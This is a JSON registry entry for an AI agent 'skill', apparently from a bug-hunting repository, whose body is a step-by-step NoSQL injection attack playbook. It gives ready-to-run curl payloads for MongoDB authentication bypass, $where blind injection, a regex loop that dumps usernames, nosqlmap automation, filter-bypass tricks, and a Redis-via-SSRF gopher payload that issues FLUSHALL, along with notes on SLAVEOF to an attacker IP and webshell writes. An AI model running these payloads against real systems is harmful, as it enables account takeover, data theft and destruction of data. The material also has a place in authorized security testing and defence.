{"id":"hunt-nosqli","name":"hunt-nosqli","summary":"Hunt NoSQL Injection — MongoDBオペレータインジェクション($where、$regex、$gt、$ne)、CouchDB、Redisコマンドインジェクション、NoSQLiによる認証バイパス、データダンプ。","body":"# HUNT-NOSQLI — NoSQL Injection\n\n## Crown Jewel Targets\n\nNoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).\n\n**Highest-value chains:**\n- **MongoDB auth bypass** — `{\"username\": {\"$gt\": \"\"}, \"password\": {\"$gt\": \"\"}}` logs in as first user in collection (usually admin)\n- **$where JS injection** — if $where is enabled: blind injection → data exfil\n- **Redis command injection** — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell\n- **Elasticsearch injection** — _search endpoint with Groovy script injection (pre-5.0) → RCE\n\n---\n\n## Attack Surface Signals\n\n### URL & Param Patterns\n```\n/api/users/login         POST with JSON body\n/api/search?q=\n/api/find?filter=\n/api/query?where=\nAny endpoint accepting JSON body with username/password\n```\n\n### Stack Signals\n| Signal | Vector |\n|--------|--------|\n| MongoDB error messages in response | Operator injection |\n| mongoose / monk in JS bundles | ODM patterns |\n| X-Powered-By: Express | Node.js + MongoDB common stack |\n| CouchDB/_utils UI exposed | Futon/Fauxton admin |\n| Redis port 6379 open (via SSRF) | CONFIG SET / SLAVEOF |\n| Elasticsearch :9200 open | Script injection |\n\n---\n\n## Step-by-Step Hunting Methodology\n\n### Phase 1 — Auth Bypass (MongoDB)\n```bash\n# Operator injection in JSON body\ncurl -s -X POST https://$TARGET/api/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\": {\"$gt\": \"\"}, \"password\": {\"$gt\": \"\"}}'\n\n# Regex wildcard — match any username\ncurl -s -X POST https://$TARGET/api/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\": {\"$regex\": \".*\"}, \"password\": {\"$regex\": \".*\"}}'\n\n# ne (not equal) bypass\ncurl -s -X POST https://$TARGET/api/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\": \"admin\", \"password\": {\"$ne\": \"wrong\"}}'\n\n# in array bypass\ncurl -s -X POST https://$TARGET/api/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\": {\"$in\": [\"admin\",\"administrator\",\"root\"]}, \"password\": {\"$ne\": \"x\"}}'\n```\n\n### Phase 2 — URL Parameter Injection\n```bash\n# Array notation (Express/PHP-style)\ncurl \"https://$TARGET/api/users?username[$gt]=&password[$gt]=\"\ncurl \"https://$TARGET/api/search?q[$regex]=.*&q[$options]=i\"\n\n# POST form data\ncurl \"https://$TARGET/api/login\" \\\n  --data \"username[$gt]=&password[$gt]=\"\n```\n\n### Phase 3 — $where Blind Injection (time-based)\n```bash\n# Test if $where is enabled (time-based detection, 5s delay)\ncurl -s -X POST https://$TARGET/api/search \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"q\": {\"$where\": \"function(){var d=new Date();while(new Date()-d<5000){}; return true;}\"}}'\n# If response takes 5+ seconds → $where injection confirmed\n\n# Blind data exfil (username starts with 'a'?)\ncurl -s -X POST https://$TARGET/api/search \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"q\": {\"$where\": \"function(){if(this.username.match(/^a/)){sleep(3000);} return true;}\"}}'\n```\n\n### Phase 4 — Data Dump via Regex\n```bash\n# Enumerate usernames character by character\nfor c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do\n  RESP=$(curl -s -X POST https://$TARGET/api/users \\\n    -H \"Content-Type: application/json\" \\\n    -d \"{\\\"username\\\": {\\\"\\$regex\\\": \\\"^$c\\\"}}\")\n  echo \"$c: $(echo $RESP | wc -c)\"\ndone\n```\n\n### Phase 5 — Automation\n```bash\n# nosqlmap\npip3 install nosqlmap\nnosqlmap -u \"https://$TARGET/api/login\" --attack 1\n\n# nosqlmap data extraction\nnosqlmap -u \"https://$TARGET/api/login\" --attack 2\n```\n\n### Phase 6 — Redis via SSRF\n```bash\n# If SSRF found, probe internal Redis via gopher://\ncurl \"https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a\"\n\n# CONFIG SET webshell (if Redis has write access to web root)\n# Use SLAVEOF for OOB data exfil\n```\n\n---\n\n## Bypass Table\n\n| Defense | Bypass |\n|---------|--------|\n| JSON.parse rejects objects | Use array: `password[$ne]=x` (URL params) |\n| Sanitizes `$` | Unicode: `$gt` |\n| Blocks operator keys | Nested objects deeper in structure |\n\n---\n\n## Chain Table\n\n| NoSQLi finding | Chain to | Impact |\n|---------------|----------|--------|\n| Auth bypass | Admin panel access | Full admin control |\n| User enum via regex | Credential stuffing | Mass ATO |\n| $where enabled | Arbitrary JS in DB process | Data exfil or DoS |\n| Redis via SSRF | CONFIG SET / SLAVEOF | Webshell or data exfil |\n\n---\n\n## Validation\n\n✅ Auth bypass: logged in without valid credentials, received valid session token\n✅ Data dump: returned users/documents you shouldn't have access to\n✅ Blind injection: confirmed via time-delay (>4 seconds consistent)\n\n**Severity:**\n- Auth bypass as admin: Critical\n- User collection dump: High\n- Blind injection (no useful exfil): Medium","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-nosqli","license":"MIT","category":"writing","lang":"en","tokens":1329,"stars":0,"calls30d":2,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":[]}}